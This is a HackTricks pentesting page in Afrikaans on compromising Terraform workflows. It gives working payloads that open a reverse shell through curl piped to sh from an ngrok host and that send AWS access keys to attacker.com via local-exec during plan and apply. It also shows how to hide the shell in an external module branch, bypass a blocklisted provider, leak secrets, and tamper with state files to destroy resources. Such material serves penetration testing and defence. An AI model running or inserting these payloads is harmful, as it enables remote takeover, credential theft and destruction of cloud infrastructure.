Terraform Security

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Van die dokumente:

HashiCorp Terraform is 'n infrastruktuur as kode hulpmiddel wat jou in staat stel om beide wolke en on-prem-bronne te definieer in mens-leesbare konfigurasie lêers wat jy kan weergawe, hergebruik, en deel. Jy kan dan 'n konsekwente werkstroom gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan laagvlak komponente bestuur soos rekenaars, stoorplek, en netwerkbronne, sowel as hoëvlak komponente soos DNS inskrywings en SaaS kenmerke.

Hoe werk Terraform?

Terraform skep en bestuur bronne op wolk platforms en ander dienste deur hul toepassingsprogrammeerinterfaces (API's). Verskaffers maak dit moontlik vir Terraform om met bykans enige platform of diens met 'n toeganklike API te werk.

HashiCorp en die Terraform gemeenskap het reeds meer as 1700 verskaffers geskryf om duisende verskillende tipes bronne en dienste te bestuur, en hierdie getal bly groei. Jy kan al die openlik beskikbare verskaffers vind op die Terraform Register, insluitend Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, en baie meer.

Die kern Terraform werkstroom bestaan uit drie fases:

  • Skryf: Jy definieer bronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy kan 'n konfigurasie skep om 'n aansoek op virtuele masjiene in 'n Virtuele Privaat Wolke (VPW) netwerk met sekuriteitsgroepe en 'n vragbalansier te ontplooi.

  • Plan: Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer, of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.

  • Toepas: Op goedkeuring, voer Terraform die voorgestelde operasies in die korrekte volgorde uit, met inagneming van enige bronafhanklikhede. Byvoorbeeld, as jy die eienskappe van 'n VPW opdateer en die aantal virtuele masjiene in daardie VPW verander, sal Terraform die VPW herskep voordat dit die virtuele masjiene skaal.

Terraform Laboratorium

Installeer net terraform op jou rekenaar.

Hier het jy 'n gids en hier het jy die beste manier om terraform af te laai.

RCE in Terraform

Terraform het nie 'n platform wat 'n webbladsy of 'n netwerkdienste blootstel wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromiteer om in staat te wees om terraform konfigurasie lêers by te voeg/te wysig.

Nietemin, terraform is 'n baie sensitiewe komponent om te kompromiteer omdat dit bevoorregte toegang tot verskillende plekke sal hê sodat dit behoorlik kan werk.

Die hoofmanier vir 'n aanvaller om die stelsel waar terraform loop te kan kompromiteer is om die bewaarplek wat terraform konfigurasies stoor te kompromiteer, omdat hulle op 'n stadium geïnterpreteer gaan word.

Eintlik is daar oplossings daar buite wat terraform plan/apply outomaties uitvoer nadat 'n PR geskep is, soos Atlantis:

pageAtlantis Security

As jy in staat is om 'n terraform lêer te kompromiteer, is daar verskillende maniere waarop jy RCE kan uitvoer wanneer iemand terraform plan of terraform apply uitvoer.

Terraform plan

Terraform plan is die mees gebruikte bevel in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit die hele tyd, so die maklikste manier om RCE te kry is om seker te maak dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre bevele sal uitvoer in 'n terraform plan.

Gebruik 'n eksterne verskaffer

Terraform bied die external verskaffer aan wat 'n manier bied om tussen Terraform en eksterne programme te skakel. Jy kan die external data bron gebruik om arbitrêre kode tydens 'n plan uit te voer.

Deur iets soos die volgende in 'n terraform konfigurasie lêer in te spuit, sal dit 'n omgekeerde skul uitvoer wanneer 'n terraform plan uitgevoer word:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Gebruik van 'n aangepaste verskaffer

'n Aanvaller kan 'n aangepaste verskaffer stuur na die Terraform Register en dit dan by die Terraform-kode in 'n kenmerktak voeg (voorbeeld van hier):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Die verskaffer word afgelaai in die init en sal die skadelike kode hardloop wanneer plan uitgevoer word

Jy kan 'n voorbeeld vind in https://github.com/rung/terraform-provider-cmdexec

Gebruik van 'n eksterne verwysing

Beide genoemde opsies is nuttig maar nie baie sluipend nie (die tweede is sluiperiger maar meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n sluiperiger manier uitvoer, deur hierdie voorstelle te volg:

  • In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n eksterne bron laai wat die rev shell bevat:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Jy kan die rev shell-kode vind in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • In die eksterne bron, gebruik die ref funksie om die terraform rev shell-kode in 'n tak binne die repo te verberg, iets soos: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Toepassing

Terraform toepassing sal uitgevoer word om al die veranderinge toe te pas, jy kan dit ook misbruik om RCE te verkry deur 'n kwaadwillige Terraform-lêer in te spuit met local-exec. Jy moet net seker maak dat 'n payload soos die volgende in die main.tf-lêer eindig:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Volg die aanbevelings van die vorige tegniek om hierdie aanval op 'n meer onopvallende manier met behulp van eksterne verwysings uit te voer.

Geheime Uitlek

Jy kan geheime waardes wat deur terraform gebruik word, laat uitlek deur terraform apply uit te voer deur iets soos die volgende by die terraform-lêer te voeg:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Misbruik van Terraform-staat lêers

In die geval jy skryftoegang het tot terraform-staat lêers maar kan nie die terraform-kode verander nie, hierdie navorsing bied interessante opsies om voordeel te trek uit die lêer:

Verwydering van bronne

Daar is 2 maniere om bronne te vernietig:

  1. Voeg 'n bron met 'n lukrake naam by in die staat lêer wat na die werklike bron wys om te vernietig

Omdat terraform sal sien dat die bron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike bron-ID aangedui). Voorbeeld van die vorige bladsy:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Wysig die hulpbron om te verwyder op 'n manier wat dit nie moontlik is om te werk (sodat dit verwyder en herskep sal word nie)

Vir 'n EC2-instantie is dit genoeg om die tipe van die instansie te wysig om terraform te dwing om dit te verwyder en herskep.

RCE

Dit is ook moontlik om 'n aangepaste verskaffer te skep en een van die verskaffers in die terraform statuslêer te vervang met die skadelike een of 'n leë hulpbron met die skadelike verskaffer by te voeg. Voorbeeld van die oorspronklike navorsing:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Vervang geswartlysde verskaffer

In die geval waar jy 'n situasie teëkom waar hashicorp/external geswartlys is, kan jy die external verskaffer herimplementeer deur die volgende te doen. Nota: Ons gebruik 'n vurk van die eksterne verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan ook jou eie vurk of herimplementering publiseer.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dan kan jy external soos normaal gebruik.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Ouditgereedskap

  • tfsec: tfsec gebruik statiese analise van jou terraform-kode om potensiële verkeerde konfigurasies op te spoor.

  • terascan: Terrascan is 'n statiese kode-ontleder vir Infrastruktuur as Kode.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated